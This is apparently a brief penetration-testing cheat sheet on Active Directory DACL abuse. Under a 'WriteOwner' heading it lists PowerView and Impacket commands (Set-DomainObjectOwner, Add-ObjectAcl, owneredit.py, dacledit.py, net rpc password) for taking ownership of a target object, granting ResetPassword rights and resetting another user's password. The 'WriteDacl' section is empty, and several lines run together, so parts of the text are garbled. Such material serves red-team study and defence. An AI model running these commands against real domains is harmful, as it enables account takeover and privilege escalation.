Any Objects
DACL Attacks on any objects
1) WriteOwner
Set-DomainObjectOwner -Identity <target> -OwnerIdentity user1 -verbose
Add-ObjectAcl -TargetIdentity <target> -PrincipalIdentity user1 -Rights ResetPassword$cred = ConvertTo-SecureString "Password123!" -AsPlainText -force
Set-DomainUserPassword -Identity <target> -accountpassword $credLinux
owneredit.py -new-owner user1 -target user2 -dc-ip <DC_IP> -action write 'domain.local'/'user1':'password'
dacledit.py -action write -target user2 -principal user1 -rights ResetPassword -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local2) WriteDacl
Linux
Last updated